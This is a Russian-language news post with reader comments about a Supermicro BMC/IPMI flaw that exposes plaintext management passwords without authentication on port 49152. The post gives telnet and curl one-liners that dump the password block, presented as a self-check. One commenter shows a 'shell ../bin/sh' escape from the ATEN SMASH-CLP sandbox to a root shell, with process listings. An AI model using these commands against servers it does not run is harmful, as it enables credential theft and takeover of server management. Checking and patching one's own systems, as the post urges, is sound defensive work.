Уязвимость в BMC-контроллере Supermicro позволяет получить доступ к паролям управляющего интерфейса

    image
    В BMC (Baseboard Management Сontroller) чипе, используемом в материнских платах Supermicro, выявлена уязвимость, позволяющая злоумышленнику получить доступ к паролям входа в управляющий интерфейс. Проблема вызвана тем, что содержимое файла с паролями выводится среди бинарного блока данных, который можно получить без аутентификации через сетевой порт 49152. Техника эксплуатации очень проста, достаточно подключиться к порту 49152 и выполнить команду «GET /PSBlock». Пароли выдаются в открытом виде, без хэширования.

    Выявившие уязвимость исследователи безопасности предупреждают, что им удалось обнаружить в сети 31964 серверов, подверженных данной проблеме, при этом на 3296 (10%) из этих систем применялись пароли, заданные по умолчанию. Предоставляемый BMC-контроллером IPMI-интерфейс предоставляет средства для мониторинга и управления оборудованием, в том числе позволяет отслеживать состояние датчиков, управлять питанием, прошивками и дисками, удалённо загрузить на сервере собственную ОС по сети, организовать работу консоли удалённого доступа для атаки на базовую ОС и изменения настроек BIOS.

    Проверить свой сервер можно банально подключившись к уязвимому порту с помощью telnet:
    telnet ip_ipmi 49152

    далее
    GET /PSBlock

    если Вы в тексте ответа увидели свои пароли, то Вам стоит задуматься об обновлении прошивок.

    Источник...

    upd:
    Скачать обновления прошивки, можно по ссылке.

    Only registered users can participate in poll. Log in, please.

    Выявили ли Вы уязвимость на своих серверах?

    Share post

    Similar posts

    Comments 31

      +6
      Я думаю что для всех «не выставвлять ипми наружу»- прописная истина.

      А Телнетом проверять как-то неудобно, проще так:

      ~# curl -s http://10.11.12.13:49152/PSBlock | strings
      admin
      ADMIN
      ADMIN
        +4
        А нефиг IMPI наружу выставлять.
          0
          А если внутри то патчить не надо?
            +3
            Это невероятно сложный вопрос. Обычно «патч» требует обновления всей фирмвари мамки. В ряде случаев я скажу «нет», потому что лучше иметь контролируемую уязвимость в контролируемом периметре, чем неизвестные изменения в поведении в продакшен-серверах.

            Потому что «странные глюки» после обновления биоса я наблюдал многократно (обновили апдейт микрокода процессора — поменялось поведение, и всё такое).

            То есть «работает — не трогай» на самом деле не самая плохая мысль.

            Разумеется, это характерно только для очень специальных случаев. Если сервер легко может быть замёнен, а ещё лучше, его роль может быть подхвачена без даунтайма, то да, обновлять.
              0
              Аргументировано, согласен)
          0
          telnet: connect to address x.x.x.x: Connection refused

          Хотя я знаю, что это супермикра.

          А вот на другом сервере с другой матерью — увы, да, нашёл. Правда, всё это торчит в управляющий вилан, в который ещё попасть надо…

          p.s. «к сожалению» пишется раздельно.
            0
            telnet: connect to address x.x.x.x: Connection refused
            Здесь скорее всего прошивка старше чем 1.x, и возможно, не уязвима к данному типу атаки, но обновиться все равно не мешало бы.
            Спасибо за исправление, не доглядел.
              +2
              Грусть-печаль, хорошо что наружу ничего из управления не смотрит.
              Забыли ссылку приложить откуда скачать обновления, думаю что не помешает: www.supermicro.nl/ResourceApps/BIOS_IPMI.aspx
                0
                Спасибо, добавил полезную ссылку.
              • UFO just landed and posted this here
                  0
                  У меня слов нет!!! Давно я не видел свой пароль открытым текстом! Как-то прямо скажем впечатляет! А с учетом простоты способа мне кажется что я вернулся в 98ой и использую plain ftp…
                    0
                    Отлично Supermicro — Firmware IPMI как было 2011 года — воз и ныне там… Приплыли.
                      0
                      Кстати, сегодня просматривал логи корпоративного фаервола, и был удивлен от числа попыток подключения к уязвимому порту 49152.
                        0
                        Ясное дело — сканер пишется за 2 минуты.
                        Похоже меня спасло то, что IPMI у них глючный и на сегодняшний день он опять повис! )) Три года хожу смотрю на их прошивки… Кстати может сделают наконец-то!
                          +2
                          Не факт что хоть как-то отреагируют, хотя хочется верить, что в Supermicro есть еще адекватные сотрудники.
                          Сегодня прошивал «повисший» ipmi с помощью утилиты lUpdate из архива с прошивкой, удивился что после прошивки ipmi заработал, еще как вариант, если есть доступы к серверу, можно попробовать сделать сброс с помощью команды:
                          ipmitool mc reset cold
                          обычно помогает.
                            0
                            спасибо, действительно забыл про этот способ. Впрочем прошивки пока все равно нет.
                    +2
                    Вы, кстати, ещё упомянули бы, что их BMC сейчас весело ддосят всех ntp-amplification-ом =)
                    При том отключение синхронизации времени из вебморды не помогает.
                      0
                      Да, кстати, подтверждаю. Суппорт уже два раза просил что-нибудь сделать с этим. А что я могу сделать? Отключение не помогает, прошивки нет… Хотя после каких-то танцев с бубном, типа отключить-перегрузить, отключить-еще что-то сделать… NTP таки перестал отвечать. Но это было непросто и недетерминированно.
                        0
                        Я просто хостера попросил запретить весь трафик для модуля, кроме нужных мне адресов.
                          0
                          Я много путешествую — для меня не выход, да и мало кто из хостеров согласится заниматься таким на своем маршрутизаторе…
                            0
                            Ну пара виртуалок с поднятым vpn-ом вас спасут =)
                            Хостеры вынуждены соглашаться — это их железо. Либо пусть сами выключают ntp/обновляют прошивки/whatever. Другое дело, если у вас Colo.
                          0
                          так зайти по ssh на ipmi и кильнуть процесс ntp
                            0
                            Да там нет такой возможности. Что-то я вообще не припоминаю ssh в SuperMicro:

                            PORT     STATE SERVICE
                            80/tcp   open  http
                            443/tcp  open  https
                            5900/tcp open  vnc
                            


                            В DELLах точно есть ssh, но и там запускается некий их кастомный шелл, в котором тоже нельзя ничего кильнуть, в лучшем случае — ребутнуть или изменить адрес bmc.
                              0
                              есть-есть. как раз на супермикрах. бывают еще с песочницей, но я из неё как-то очень просто выходил, не все параметры комманд валидируются.
                              Скрытый текст
                              [23:14:15] lolipop@Air-lolipop ~ $ ssh ADMIN@10.xx.xx.xxx
                              The authenticity of host '10.xx.xx.xxx (10.xx.xx.xxx)' can't be established.
                              RSA key fingerprint is 09:xx:yy:13:51:57:f2:7f:81:c1:5b:ae:78:c8:29:fc.
                              Are you sure you want to continue connecting (yes/no)? yes
                              Warning: Permanently added '10.xx.xx.xxx' (RSA) to the list of known hosts.
                              ADMIN@10.xx.xx.xxx's password:

                              BusyBox v1.1.3 (2011.07.06-23:34+0000) Built-in shell (ash)
                              Enter 'help' for a list of built-in commands.

                              # ps
                              PID Uid VmSize Stat Command
                              1 root 496 S init [3]
                              2 root SW< [kthreadd]
                              3 root SW< [ksoftirqd/0]
                              4 root SW< [watchdog/0]
                              5 root SW< [events/0]
                              6 root SW< [khelper]
                              7 root SW< [kblockd/0]
                              8 root SW [pdflush]
                              9 root SW [pdflush]
                              10 root SW< [kswapd0]
                              11 root SW< [aio/0]
                              12 root SW< [cifsoplockd]
                              13 root SW< [cifsdnotifyd]
                              14 root SW< [mtdblockd]
                              15 root SW< [rpciod/0]
                              90 root DW [USBDPC]
                              94 root SW< [NCSI/0]
                              163 root SWN [jffs2_gcd_mtd1]
                              232 root 2548 S /usr/local/bin/webgo /usr/local/www
                              247 root 1348 S /usr/local/bin/webgo /usr/local/www
                              248 root 2548 S /usr/local/bin/webgo /usr/local/www
                              249 root 2548 S /usr/local/bin/webgo /usr/local/www
                              275 root 1220 S /usr/local/bin/IPMIMain
                              285 root 996 S [Timer]
                              286 root 1620 S < [MsgHndlr]
                              287 root 1140 S < /usr/local/bin/KCS 1
                              288 root 1024 S < /usr/local/bin/KCS 2
                              289 root 1024 S < /usr/local/bin/KCS 3
                              290 root 1116 S [IPMB]
                              291 root 1412 S < [LAN]
                              292 root 1104 S [SOL]
                              293 root 1028 S [USB]
                              298 root 1412 S < [LAN]
                              299 root 1412 S < [LAN]
                              300 root 1412 S < [LAN]
                              301 root 1116 S [IPMB]
                              302 root 1116 S [IPMB]
                              303 root 1028 S [USB]
                              304 root 1028 S [USB]
                              305 root 1104 S [SOL]
                              306 root 1104 S < [SOL]
                              307 root 1104 S [SOL]
                              308 root 1620 S [MsgHndlr]
                              309 root 1620 S N [MsgHndlr]
                              310 root 1620 S [MsgHndlr]
                              311 root 1620 S [MsgHndlr]
                              312 root 1620 S [MsgHndlr]
                              313 root 1620 S [MsgHndlr]
                              314 root 1620 S [MsgHndlr]
                              315 root 1620 S [MsgHndlr]
                              316 root 1620 S [MsgHndlr]
                              317 root 1620 S [MsgHndlr]
                              318 root 1620 S [MsgHndlr]
                              319 root 1620 S [MsgHndlr]
                              320 root 1620 S [MsgHndlr]
                              321 root 1620 D [MsgHndlr]
                              327 root 876 S /usr/local/cim/usr/local/sbin/sfcbd -c /usr/local/cim
                              339 root 876 S /usr/local/cim/usr/local/sbin/sfcbd -c /usr/local/cim
                              340 root 876 S /usr/local/cim/usr/local/sbin/sfcbd -c /usr/local/cim
                              341 root 660 S /usr/local/cim/usr/local/sbin/sfcbd -c /usr/local/cim
                              345 root 1196 S /usr/local/cim/usr/local/sbin/sfcbd -c /usr/local/cim
                              349 root 1196 S /usr/local/cim/usr/local/sbin/sfcbd -c /usr/local/cim
                              382 root 448 S /usr/sbin/dropbear -p 22
                              387 root 1196 S /usr/local/cim/usr/local/sbin/sfcbd -c /usr/local/cim
                              391 root 588 S /usr/sbin/cron
                              400 root 1056 S /usr/local/bin/adviserd
                              402 root 1056 S /usr/local/bin/adviserd
                              403 root 1056 S /usr/local/bin/adviserd
                              405 root 1056 S /usr/local/bin/adviserd
                              407 root 1056 S /usr/local/bin/adviserd
                              408 root 1056 S /usr/local/bin/adviserd
                              415 root 712 S /usr/local/bin/discovery
                              418 root 836 S /usr/local/cim/usr/local/sbin/sfcbd -c /usr/local/cim
                              420 root 836 S /usr/local/cim/usr/local/sbin/sfcbd -c /usr/local/cim
                              424 root 888 S /usr/local/cim/usr/local/sbin/sfcbd -c /usr/local/cim
                              428 root 888 S /usr/local/cim/usr/local/sbin/sfcbd -c /usr/local/cim
                              433 root 888 S /usr/local/cim/usr/local/sbin/sfcbd -c /usr/local/cim
                              447 root 836 S /usr/local/cim/usr/local/sbin/sfcbd -c /usr/local/cim
                              449 root 760 S /usr/local/bin/cdserver
                              457 root 1384 S /usr/sbin/stunnel4 /conf/stunnel_kvm.conf
                              461 root 760 S /usr/local/bin/fdserver
                              469 root 528 S /usr/local/bin/flasher
                              5070 root 1384 S /usr/sbin/stunnel4 /conf/stunnel_kvm.conf
                              28546 root 968 S /usr/sbin/dropbear -p 22
                              28547 root 528 S -sh
                              28557 root 476 S /bin/login — 28561 root 512 R ps
                              #
                                0
                                Не знаю, про какую вы супермикру говорите,

                                ssh: connect to host x.x.x.x port 22: Connection refused

                                что и ожидалось по результатам скана.
                                  0
                                  если верить dmidecode,
                                  Base Board Information
                                  Manufacturer: Supermicro
                                  Product Name: X8DTT
                                    0
                                    если что, я говорю про X9SCM-F и X8DT3/X8DT6.
                                      0
                                      Или вот еще, побег из песочницы ипми.
                                      Base Board Information
                                      Manufacturer: Supermicro
                                      Product Name: X9SBAA

                                      Скрытый текст
                                      [23:26:17] lolipop@Air-lolipop ~ $ ssh ADMIN@10.xxx.yyy.z
                                      ADMIN@10.xxx.yyy.z's password:

                                      ATEN SMASH-CLP System Management Shell, version 1.04
                                      Copyright © 2008-2009 by ATEN International CO., Ltd.
                                      All Rights Reserved

                                      -> id
                                      id command not support now.

                                      -> help
                                      /

                                      The managed element is the root

                                      Verbs:
                                      cd
                                      show
                                      help
                                      version
                                      exit

                                      -> shell ../bin/sh
                                      Change shell to ../bin/sh
                                      # ps
                                      PID USER VSZ STAT COMMAND
                                      1 root 1392 S init
                                      2 root 0 SWN [ksoftirqd/0]
                                      3 root 0 SW [watchdog/0]
                                      4 root 0 SW< [events/0]
                                      5 root 0 SW< [khelper]
                                      6 root 0 SW< [kthread]
                                      9 root 0 SW< [kblockd/0]
                                      38 root 0 SW [pdflush]
                                      39 root 0 SW [pdflush]
                                      40 root 0 SW [kswapd0]
                                      41 root 0 SW< [aio/0]
                                      42 root 0 SW< [cifsoplockd]
                                      43 root 0 SW< [cifsdnotifyd]
                                      654 root 0 SW [mtdblockd]
                                      658 root 0 SW< [wpcm450-spi.1]
                                      688 root 0 SWN [jffs2_gcd_mtd1]
                                      699 root 0 SW< [usb_hid_kb_work]
                                      700 root 0 SW< [usb_hid_ms_work]
                                      705 root 0 SW [NICDrv Thread0]
                                      707 root 0 SW [NICDrv Thread1]
                                      718 root 60432 S [ipmi_timer]
                                      719 root 23564 S [slavetask]
                                      720 root 60432 S [ipmi_timer]
                                      721 root 60432 S [ipmi_timer]
                                      725 root 60432 S [ipmi_timer]
                                      726 root 60432 S [ipmi_timer]
                                      727 root 60432 S [ipmi_timer]
                                      728 root 60432 S [ipmi_timer]
                                      729 root 60432 S [ipmi_timer]
                                      730 root 60432 S [ipmi_timer]
                                      731 root 60432 S [ipmi_timer]
                                      732 root 60432 S [ipmi_timer]
                                      733 root 60432 S [ipmi_timer]
                                      734 root 60432 S [ipmi_timer]
                                      738 root 60432 S [ipmi_timer]
                                      739 root 60432 S [ipmi_timer]
                                      740 root 60432 S [ipmi_timer]
                                      744 root 23564 S [ipmi_event]
                                      745 root 23576 S [ipmi_sensor]
                                      746 root 23576 S [ipmi_pef]
                                      748 root 23564 S [gpio_task]
                                      749 root 23568 S ipmi_kcs 15
                                      750 root 23564 S ipmi_ipmb 5
                                      751 root 25632 S ipmi_uart 3
                                      752 root 25636 S ipmi_lan 1
                                      753 root 23564 S ipmi_ipmb 0
                                      754 root 60432 S [ipmi_timer]
                                      755 root 60432 S [ipmi_timer]
                                      757 root 23568 S ./LanNotifier
                                      760 root 34356 S ./usb
                                      761 root 6956 S ./uima
                                      762 root 6968 S ./uiso
                                      763 root 34380 S ./ikvmserver
                                      779 root 34380 S ./ikvmserver
                                      780 root 34380 S ./ikvmserver
                                      785 root 25636 S ipmi_lan 1
                                      786 root 25636 S ipmi_lan 1
                                      794 root 60432 S [ipmi_timer]
                                      799 root 3308 S ./sbin/lighttpd -f /nv/lighttpd.conf -m lib/
                                      800 root 9960 S ./openwsmand -d
                                      802 root 4552 S sfcbd -d
                                      805 root 4552 S sfcbd -d
                                      806 root 4552 S sfcbd -d
                                      807 root 5116 S sfcbd -d
                                      811 root 9960 S ./openwsmand -d
                                      812 root 9960 S ./openwsmand -d
                                      813 root 9960 S ./openwsmand -d
                                      814 root 5116 S sfcbd -d
                                      816 root 60432 S [ipmi_timer]
                                      825 root 34356 S ./usb
                                      826 root 34356 S ./usb
                                      827 root 34356 S ./usb
                                      828 root 34356 S ./usb
                                      829 root 34356 S ./usb
                                      830 root 34356 S ./usb
                                      832 root 25632 S ipmi_uart 3
                                      833 root 25632 S ipmi_uart 3
                                      839 root 4596 S sfcbd -d
                                      840 root 4596 S sfcbd -d
                                      852 root 24080 S /dropbear/sbin/dropbear -p 22 -I 600
                                      860 root 23568 S PWSnrTask
                                      861 root 23560 S HDDTask
                                      863 root 1392 S init
                                      864 root 4576 S sfcbd -d
                                      866 root 4576 S sfcbd -d
                                      868 root 4640 S sfcbd -d
                                      869 root 4640 S sfcbd -d
                                      928 root 15232 S /bin/upnp_dev
                                      931 root 15232 S /bin/upnp_dev
                                      932 root 15232 S /bin/upnp_dev
                                      933 root 2136 S /bin/lldpd
                                      941 root 15232 S /bin/upnp_dev
                                      2153 root 15232 S /bin/upnp_dev
                                      3649 root 15232 S /bin/upnp_dev
                                      3650 root 15232 S /bin/upnp_dev
                                      3652 root 15232 S /bin/upnp_dev
                                      3675 root 94032 S sfcbd -d
                                      3676 root 94096 S sfcbd -d
                                      3677 root 94032 S sfcbd -d
                                      3680 root 94096 S sfcbd -d
                                      3682 root 94032 S sfcbd -d
                                      3686 root 94096 S sfcbd -d
                                      3690 root 94004 S sfcbd -d
                                      3691 root 94004 S sfcbd -d
                                      3693 root 94004 S sfcbd -d
                                      3718 root 24888 S /dropbear/sbin/dropbear -p 22 -I 600
                                      3719 root 23916 S -msh ADMIN ADMIN 4
                                      3741 root 1396 S ../bin/sh
                                      3742 root 3940 R ps
                                      #
                                        0
                                        На X9SCM-F я нашёл галочку, которая включает SSH.

                                        Но побег не удался
                                        ATEN SMASH-CLP System Management Shell, version 1.04
                                        Copyright (c) 2008-2009 by ATEN International CO., Ltd.
                                        All Rights Reserved 
                                        
                                        
                                        -> help
                                        / 
                                        
                                          The managed element is the root
                                        
                                          Verbs :
                                                cd
                                                show
                                                help
                                                version
                                                exit
                                        
                                        
                                        -> shell ../bin/sh
                                        shell command not support now.
                                        
                                        -> version
                                        ATEN SMASH CLP Shell Version 1.04 
                                        
                                        


                                        На X8DT3 и X8DT6 такой галочки нет, SSH всегда ключен и тут я действительно я просто не дождался реакции. И там мы сразу в бизибоксе. Порадовала информация о процессоре BMC:
                                        Cache lockdown  : format C


                                        А ещё одна супермикра, влом разбираться, какая, меня вообще порадовала:
                                        ATEN SMASH-CLP System Management Shell, version 1.04
                                        Copyright (c) 2008-2009 by ATEN International CO., Ltd.
                                        All Rights Reserved 
                                        
                                        
                                        -> help
                                        / 
                                        *** glibc detected *** free(): invalid pointer: 0x0002faa8 ***
                                        Connection to 10.136.0.180 closed.
                                        


                                        Кстати, те же самые ATENы стоят в ASUSовских матерях, которые используют, например, Kraftway. Так что с ними всё абсолютно так же.
                            +2
                            Вообще это так похоже на бакдор)
                              0
                              Никогда, нет, НИКОГДА нельзя оставлять открытый наружу IPMI.
                              В нем априори есть ошибки.
                              Это как выставить наружу ssh с root:root
                              Те, кто это делают, должны быть расстреляны, особенно хостеры.
                              P.S.
                              habrahabr.ru/post/219453/

                              Only users with full accounts can post comments. Log in, please.